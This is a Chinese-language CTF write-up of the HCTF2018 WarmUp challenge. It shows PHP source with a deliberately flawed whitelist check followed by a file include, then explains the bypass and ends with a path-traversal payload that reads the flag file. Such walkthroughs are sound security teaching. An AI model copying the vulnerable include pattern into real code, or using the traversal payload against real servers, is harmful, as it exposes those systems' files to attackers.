HCTF2018 WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
//传入了变量page,也就是我们刚刚传进来的file
{ //这里定义了白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {//这里和外层的判断file 一致基本是再次判断了一遍
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
//这里经过判断,$page的值不在白名单里,所以进入下一个if。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
/*截取传入数据第一个“?”前的数据,如果没有“?”就传入整个page数据。
mb_strpos()返回要查找的字符串在别一个字符串中首次出现的位置,
mb_strpos($page . '?', '?')的意思是截取传入参数中两个问号之间的值
*/
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//对传入的page进行url编码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//上面都是对emmm的定义,下面才是正式的过滤代码。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) ) //这里·checkfile是对上面函数的调用
{
include $_REQUEST['file'];
exit;
}
else
{
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
0x01 首先:发现$whitelist数组中有两个值为source.php和hint.php
whitelist:白名单
in_array(search,array,type) 函数搜索数组中是否存在指定的值
0x02 //这里要求page必须有值,而且&page必须是字符串。
if (! isset($page) || !is_string($page))
0x03
mb_strpos($page . '?', '?')
这个函数返回的是 “$page?” 中 '?' 第一次出现的位置。
0x04 mub_str(page,0,mb_strpos($page.'?','?'))
所以这个函数这里返回的page值,就是?前的内容。
0x05 判断条件
if (! empty($_REQUEST['file']) //变量不为空
&& is_string($_REQUEST['file']) //要求请求为字符串
&& emmm::checkFile($_REQUEST['file']) //将值赋予checkfile函数
0x06 文件包含
include $_REQUEST['file'];
- REQUEST['file']不为空。
- REQUEST['file'] 是字符串。
- checkfile()函数返回true。
所以说,我们这里可以直接构造出payload(这里由于我们不知道ffffllllaaaagggg在哪个路径下,所以只能依次加上…/直至得出flag)
source.php?file=source.php?../../../../../ffffllllaaaagggg
即可得出FLAG(或者将source.php后面的’?'url加密俩次也可)